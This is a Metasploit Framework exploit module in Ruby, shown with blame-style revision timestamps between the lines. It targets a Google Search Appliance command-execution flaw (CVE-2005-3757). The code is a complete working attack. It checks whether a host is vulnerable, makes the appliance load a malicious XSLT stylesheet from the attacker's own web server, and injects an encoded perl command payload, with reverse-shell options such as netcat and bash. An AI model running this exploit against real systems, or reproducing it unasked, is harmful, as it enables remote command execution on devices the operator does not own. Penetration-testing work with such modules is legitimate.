2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-12 01:08:18 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-01-19 19:12:42 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
2007-01-05 05:22:39 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-01-19 19:12:42 +00:00
|
|
|
super(update_info(info,
|
2007-01-05 05:22:39 +00:00
|
|
|
'Name' => 'Google Appliance ProxyStyleSheet Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a feature in the Saxon XSLT parser used by
|
|
|
|
the Google Search Appliance. This feature allows for arbitrary
|
2010-01-19 19:12:42 +00:00
|
|
|
java methods to be called. Google released a patch and advisory to
|
2007-01-05 05:22:39 +00:00
|
|
|
their client base in August of 2005 (GA-2005-08-m). The target appliance
|
2010-01-19 19:12:42 +00:00
|
|
|
must be able to connect back to your machine for this exploit to work.
|
2007-01-05 05:22:39 +00:00
|
|
|
},
|
2007-03-12 01:08:18 +00:00
|
|
|
'Author' => [ 'hdm' ],
|
2007-01-05 05:22:39 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-01-05 05:22:39 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
['CVE', '2005-3757'],
|
2007-01-05 05:22:39 +00:00
|
|
|
['OSVDB', '20981'],
|
2007-01-05 14:44:09 +00:00
|
|
|
['BID', '15509'],
|
2007-01-05 05:22:39 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 4000,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl bash telnet netcat-e',
|
|
|
|
}
|
2010-01-19 19:12:42 +00:00
|
|
|
},
|
2007-01-05 05:22:39 +00:00
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
2011-05-04 19:17:31 +00:00
|
|
|
'DisclosureDate' => 'Nov 21 2005',
|
2007-01-05 05:22:39 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
# Handle incoming requests from the appliance
|
|
|
|
def on_request_uri(cli, request)
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("Handling new incoming HTTP request...")
|
|
|
|
|
|
|
|
exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'
|
2010-01-19 19:12:42 +00:00
|
|
|
data = @xml_data.gsub(/:x:MSF:x:/, exec_str)
|
2007-01-05 05:22:39 +00:00
|
|
|
send_response(cli, data)
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/search',
|
2010-01-19 19:12:42 +00:00
|
|
|
'vars_get' =>
|
2007-01-05 05:22:39 +00:00
|
|
|
{
|
|
|
|
'client' => rand_text_alpha(rand(15)+1),
|
|
|
|
'site' => rand_text_alpha(rand(15)+1),
|
|
|
|
'output' => 'xml_no_dtd',
|
|
|
|
'q' => rand_text_alpha(rand(15)+1),
|
|
|
|
'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'
|
|
|
|
}
|
|
|
|
}, 10)
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
if (res and res.body =~ /cannot be resolved to an ip address/)
|
|
|
|
print_status("This system appears to be vulnerable")
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
|
|
|
|
print_status("This system appears to be patched")
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("This system is not exploitable")
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
def exploit
|
2010-01-19 19:12:42 +00:00
|
|
|
|
|
|
|
# load the xml data
|
|
|
|
path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")
|
2010-07-01 23:33:07 +00:00
|
|
|
fd = File.open(path, "rb")
|
2010-01-19 19:12:42 +00:00
|
|
|
@xml_data = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("Obtaining the appliance site and client IDs...")
|
|
|
|
# Send a HTTP/1.0 request to learn the site configuration
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => '/',
|
|
|
|
'version' => '1.0'
|
|
|
|
}, 10)
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(res and res['location'] and res['location'] =~ /site=/)
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("Could not read the location header: #{res.code} #{res.message}")
|
|
|
|
return
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(m and m[1] and m[2])
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("Invalid location header: #{res['location']}")
|
2010-01-19 19:12:42 +00:00
|
|
|
return
|
2007-01-05 05:22:39 +00:00
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
|
|
|
|
start_service
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("Requesting a search using our custom XSLT...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/search',
|
2010-01-19 19:12:42 +00:00
|
|
|
'vars_get' =>
|
2007-01-05 05:22:39 +00:00
|
|
|
{
|
|
|
|
'client' => m[2],
|
|
|
|
'site' => m[1],
|
|
|
|
'output' => 'xml_no_dtd',
|
|
|
|
'q' => rand_text_alpha(rand(15)+1),
|
|
|
|
'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
|
|
|
|
'proxyreload' => '1'
|
|
|
|
}
|
|
|
|
}, 25)
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
if (res)
|
|
|
|
print_status("The server returned: #{res.code} #{res.message}")
|
|
|
|
print_status("Waiting on the payload to execute...")
|
2010-06-22 19:11:05 +00:00
|
|
|
select(nil,nil,nil,20)
|
2007-01-05 05:22:39 +00:00
|
|
|
else
|
|
|
|
print_status("No response from the server")
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2007-01-05 05:22:39 +00:00
|
|
|
print_status("Shutting down the web service...")
|
|
|
|
stop_service
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|